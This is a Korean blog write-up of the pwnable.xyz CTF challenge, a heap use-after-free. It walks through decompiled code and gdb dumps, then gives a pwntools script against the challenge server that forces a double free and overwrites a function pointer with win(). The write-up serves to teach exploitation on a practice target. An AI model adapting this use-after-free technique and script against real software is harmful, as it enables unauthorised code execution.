🗂️ INDEX

글 작성자: Universe7202

이번 문제는 UAF 관련 문제이다.

해당 바이너리에는 아래와 같은 보안 장치가 설정되어 있다.

 

 

바이너리를 c코드로 변환하면 아래와 같다.

void hash_gift(arg1, arg2){
    int result1 = 0;
    int result2 = 0;
    int count = 0;
    
    while(true){
        if(count >= int(arg2/2))
            break;
        result1 = result1 + *(arg1 + count);
        count++;
    }
    
    for(int i = int(arg2)/2; i<count; i++){
        result2 = result2 + *(arg1 + count);
    }
    
    return (result1 << 0x10) | result2;
}

void answer_me(rdi, rsi){
    *(rbp-0x38) = rdi;  // trent
    *(rbp-0x40) = rsi;  // 사용자가 입력한 문장
    
    if(!strcmp(*(rbp-0x40), "/gift\n")){
        *(rbp-0x24) = 0;
        puts("Oh you wanna bribe him?");
        printf("Ok, how expensive will your gift be: ");
        scanf("%ud", rbp-0x24);
        
        if(*(rbp-0x24) != 0){
            *(rbp-0x20) = malloc(*(rbp-0x24) + 1);
            memset(*(rbp-0x20), 0, *(rbp-0x24) + 1);
            
            printf("Enter your gift: ");
            read(0, *(rbp-0x20), *(rbp-0x24));
            
            *(rbp-0x18) = hash_gift(*(rbp-0x20), *(rbp-0x24));
            printf("Trent doesn't look impressed and swallows %p\n", *(rbp-0x18));
            
            if(*(rbp-0x18) == 0xdeadbeef){
                puts("The color of his head turns blue...");
                puts("Trent Reznor flips the table and raqequits...");
                puts("@trent has left #ota_chat (Client disconnected...)");
                
                free(*(*(rbp-0x38)));
                free(*(rbp-0x38));
                return;
            }
            else{
                printf("Didn't seem to be tasty...\n");
                return;
            }
        }
    }
    eax = rand();
    ecx = eax;
    edx = 0x66666667;
    eax *= edx;
    edx = edx >> 0x2;
    eax = eax >> 0x1f;
    edx = edx - eax;
    eax = edx;
    eax = eax << 0x2;
    eax +=edx;
    eax += eax;
    ecx -= eax;
    edx = ecx;
    rax = edx;
    
    rdx = rax*8;
    rax = 0x6020e0;
    *(rbp-0x10) = *(0x6020e0 + rax*8);
    
    printf("@trent> %s\n", *(rbp-0x10);
}

long invite_reznor(){
    *(rbp-0x8) = malloc(0x20);    
    *(*(rbp-0x8)) = strdup(0x401aab); 
    *(*(rbp-0x8) + 0x8) = &answer_me; 
    
    puts("@trent has entered #ota_chat");
    
    return *(rbp-0x8);
}

void do_chat(){
    long *(rbp-0x120) = 0;
    
    while(true){
        memset(rbp-0x110, 0, 0xff);
    
        printf("@you>");
        read(0, rbp-0x110, 0xff);
        
        *(rbp-0x118) = strdup(rbp-0x110);
        if(*(rbp-0x120) == 0){
            *(rbp-0x120) = invite_reznor();
        }
        rax = *(rbp-0x120) + 0x8;       // call answer_me
        rsi = rbp-0x110;
        rdi = *(rbp-0x120);
        
        rax(rdi, rsi);
        
        free(*(rbp-0x118));
    }
}

int main(){
    show_banner();
    do_chat();
}

 

 

 

위 함수들을 각각 분석해보자.

long invite_reznor(){
    *(rbp-0x8) = malloc(0x20);    
    *(*(rbp-0x8)) = strdup(0x401aab); 
    *(*(rbp-0x8) + 0x8) = &answer_me; 
    
    puts("@trent has entered #ota_chat");
    
    return *(rbp-0x8);
}

void do_chat(){
    long *(rbp-0x120) = 0;
    
    while(true){
        memset(rbp-0x110, 0, 0xff);
    
        printf("@you>");
        read(0, rbp-0x110, 0xff);
        
        *(rbp-0x118) = strdup(rbp-0x110);
        if(*(rbp-0x120) == 0){
            *(rbp-0x120) = invite_reznor();
        }
        rax = *(rbp-0x120) + 0x8;       // call answer_me
        rsi = rbp-0x110;
        rdi = *(rbp-0x120);
        
        rax(rdi, rsi);
        
        free(*(rbp-0x118));
    }
}

우선 do_chat() 함수는 사용자로 부터 문자열을 입력 받는다.

입력 받은 문자열은 stack에 저장이 되고, 이 문자열은 strdup() 함수로 인해 동적으로 할당이 되어

*(rbp-0x118) 에 주소가 저장된다. 또한 *(rbp-0x120) 값이 0 이면 invite_reznor() 함수를 호출하여 동적 할당한다.

 

이때의 메모리 구조를 보면 아래와 같다.

0x7fffffffe100: invite_reznor() 함수에서 동적 할당한 주소

0x7fffffffe108: strdup() 함수에서 동적 할당한 주소

0x7fffffffe110: 사용자가 입력한 값

gdb-peda$ x/4gx $rbp-0x120                                                                                        
0x7fffffffe100: 0x0000000000603280      0x0000000000603260
0x7fffffffe110: 0x0000000a41414141      0x0000000000000000

0x603280 + 0x8 에는 answer_me() 함수의 주소가 저장되어 있다.

gdb-peda$ x/6gx 0x0000000000603280                                                                                
0x603280:       0x00000000006032b0      0x0000000000400d58
0x603290:       0x0000000000000000      0x0000000000000000
0x6032a0:       0x0000000000000000      0x0000000000000021

따라서 현재 동적으로 할당된 주소는 아래와 같다.

0x603260 ==> 사용자가 입력한 값 (크기: 사용자가 입력한 길이에 따라 다름)

0x603280 ==> invite_reznor() 함수에서 할당됨 (크기: 0x20)

   ㄴ 0x6032b0 ==> 문자열 "@trent" 가 저정되어 있음.

 

 

 

 

다음 함수들을 보자.

void hash_gift(arg1, arg2){
    int result1 = 0;
    int result2 = 0;
    int count = 0;
    
    while(true){
        if(count >= int(arg2/2))
            break;
        result1 = result1 + *(arg1 + count);
        count++;
    }
    
    for(int i = int(arg2)/2; i<count; i++){
        result2 = result2 + *(arg1 + count);
    }
    
    return (result1 << 0x10) | result2;
}

void answer_me(rdi, rsi){
    *(rbp-0x38) = rdi;  // trent
    *(rbp-0x40) = rsi;  // 사용자가 입력한 문장
    
    if(!strcmp(*(rbp-0x40), "/gift\n")){
        *(rbp-0x24) = 0;
        puts("Oh you wanna bribe him?");
        printf("Ok, how expensive will your gift be: ");
        scanf("%ud", rbp-0x24);
        
        if(*(rbp-0x24) != 0){
            *(rbp-0x20) = malloc(*(rbp-0x24) + 1);
            memset(*(rbp-0x20), 0, *(rbp-0x24) + 1);
            
            printf("Enter your gift: ");
            read(0, *(rbp-0x20), *(rbp-0x24));
            
            *(rbp-0x18) = hash_gift(*(rbp-0x20), *(rbp-0x24));
            printf("Trent doesn't look impressed and swallows %p\n", *(rbp-0x18));
            
            if(*(rbp-0x18) == 0xdeadbeef){
                puts("The color of his head turns blue...");
                puts("Trent Reznor flips the table and raqequits...");
                puts("@trent has left #ota_chat (Client disconnected...)");
                
                free(*(*(rbp-0x38)));
                free(*(rbp-0x38));
                return;
            }
            else{
                printf("Didn't seem to be tasty...\n");
                return;
            }
        }
    }
}

사용자가 값을 입력하면 answer_me() 함수가 호출이 되는데, 만약 사용자가 입력한 값이 "/gift" 라면, 사용자로부터 크기를 입력받는다. 그 크기 만큼 사용자가 값을 입력하는데, 이 값이 hash_gift() 함수의 인자로 들어가 리턴 값이 0xdeadbeef 라면 free() 함수를 호출하여 2번 수행한다.

 

free() 를 할때의 주소를 보면 위에서 설명한 동적할당 된 주소들을 free 하는데,

첫번째 free()는 0x6032b0

두번째 free()는 0x603280 이다.

void answer_me(rdi, rsi){
    *(rbp-0x38) = rdi;  // trent
    *(rbp-0x40) = rsi;  // 사용자가 입력한 문장
	
    ....
    
    free(*(*(rbp-0x38)));
    free(*(rbp-0x38));
}
gdb-peda$ x/6gx 0x0000000000603280                                                                                
0x603280:       0x00000000006032b0      0x0000000000400d58
0x603290:       0x0000000000000000      0x0000000000000000
0x6032a0:       0x0000000000000000      0x0000000000000021

 

answer_me() 함수가 끝나면 do_chat() 함수로 돌아와 free() 하게 된다.

void do_chat(){
    long *(rbp-0x120) = 0;
    
    while(true){
        memset(rbp-0x110, 0, 0xff);
    
        printf("@you>");
        read(0, rbp-0x110, 0xff);
        
        ...
        // call answer_me()
        
        free(*(rbp-0x118));
    }
}

 

이때의 heap 정보를 보면 아래와 같다.

총 3번 free하게 되어 main_arena에 저장된 것을 볼 수 있다.

만약 이 주소를 재사용 했을 때 어떤일이 벌어질까?

우리가 0x603280 주소를 할당 받고 이 주소에 값을 쓴다고 가정해보자.

그럼 0x603288에 저장되어 있는 answer_me() 함수 주소가 win() 함수의 주소로 overwrite 한뒤 이를 호출하면 win() 함수가 호출 될 것이다.

gdb-peda$ x/6gx 0x0000000000603280                                                                                
0x603280:       0x00000000006032b0      0x0000000000400d58
0x603290:       0x0000000000000000      0x0000000000000000
0x6032a0:       0x0000000000000000      0x0000000000000021

 

 

 

시나리오는 아래와 같다.

 

1. answer_me() 함수에 있는 free() 함수를 호출하기 위해 조건에 맞는 0xdeadbeef 값을 전달해야 한다.

2. 위 조건에 맞으면 free() 함수가 2번 수행 + do_chat() 함수에서 free() 되어 freed heap 에는 3개의 주소가 저장될 것이다.

3. 다시 사용자가 값을 입력하면 strdup() 함수가 호출되어 heap에 주소 하나가 pop된다.

아래 조건 코드에서 이미 해당 주소에는 값이 0이 아니기 때문에 할당하지 않는다.

아래 메모리 구조를 보면 rbp-0x120에는 0x603280이 저장되어 있다.

void do_chat(){
    while(true){
    	...
        
        printf("@you>");
        read(0, rbp-0x110, 0xff);
        
        *(rbp-0x118) = strdup(rbp-0x110);
        if(*(rbp-0x120) == 0){
            *(rbp-0x120) = invite_reznor();
        }
        
        ...
    }
}
gdb-peda$ x/10gx $rbp-0x120
0x7fffffffe100: 0x0000000000603280      0x0000000000603260
0x7fffffffe110: 0x00000a746669672f      0x0000000000000000
0x7fffffffe120: 0x0000000000000000      0x0000000000000000

4. answer_me() 함수로 들어가기 위해 /gift를 입력한다.

0x603280 주소를 할당 받기위해 free 되기 전 크기인 0x20을 입력해야 하지만 12번째 줄에 +1 하므로 0x1f(31) 을 입력한다. 그러면 0x603280 주소를 할당 받아 16번째 줄에 값을 입력하게 된다.

void answer_me(rdi, rsi){
    *(rbp-0x38) = rdi;  // trent
    *(rbp-0x40) = rsi;  // 사용자가 입력한 문장
    
    if(!strcmp(*(rbp-0x40), "/gift\n")){
        *(rbp-0x24) = 0;
        puts("Oh you wanna bribe him?");
        printf("Ok, how expensive will your gift be: ");
        scanf("%ud", rbp-0x24);
        
        if(*(rbp-0x24) != 0){
            *(rbp-0x20) = malloc(*(rbp-0x24) + 1);
            memset(*(rbp-0x20), 0, *(rbp-0x24) + 1);
            
            printf("Enter your gift: ");
            read(0, *(rbp-0x20), *(rbp-0x24));
            
            ...
        }
    }
}

 

5. 0x603280에 값을 입력하면 dummy(8bytes) + win_addr(8bytes) 를 입력한 뒤 이 함수만 호출하면 끝이다.

gdb-peda$ x/6gx 0x0000000000603280                                                                                
0x603280:       0x00000000006032b0      0x0000000000400d58
0x603290:       0x0000000000000000      0x0000000000000000
0x6032a0:       0x0000000000000000      0x0000000000000021

 

 

 

Payload

코드는 아래와 같다.

from pwn import *

# p = process("./challenge")
p = remote("svc.pwnable.xyz", "30034")
e = ELF("./challenge")

# Create 0xdeadbeef
payload = "\xff" * 0xdf + "\x8c" + "\xff" * 191 + "\x05" * 32 + "\x0e"
p.sendlineafter("@you> ", "/gift")
p.sendlineafter("be: ", str(len(payload)))
p.sendafter("gift: ", payload)

# Overwrite to win() addr
p.sendlineafter("@you> ", "/gift")
p.sendlineafter("be: ", "31")
p.sendlineafter("gift: ", "A"*8 + p64(e.symbols["win"]))

# Call win()
p.sendlineafter("@you> ", "/gift")

p.interactive()

'🚩CTF' 카테고리의 다른 글

[pwnable.xyz] words write up  (0) 2020.08.08
[pwnable.xyz] notebook write up  (0) 2020.08.07
[pwnable.xyz] note v2 write up  (0) 2020.08.05
InCTF2020 - coins write up  (0) 2020.08.02
[TSG 2020 CTF] beginner's pwn write up  (0) 2020.07.14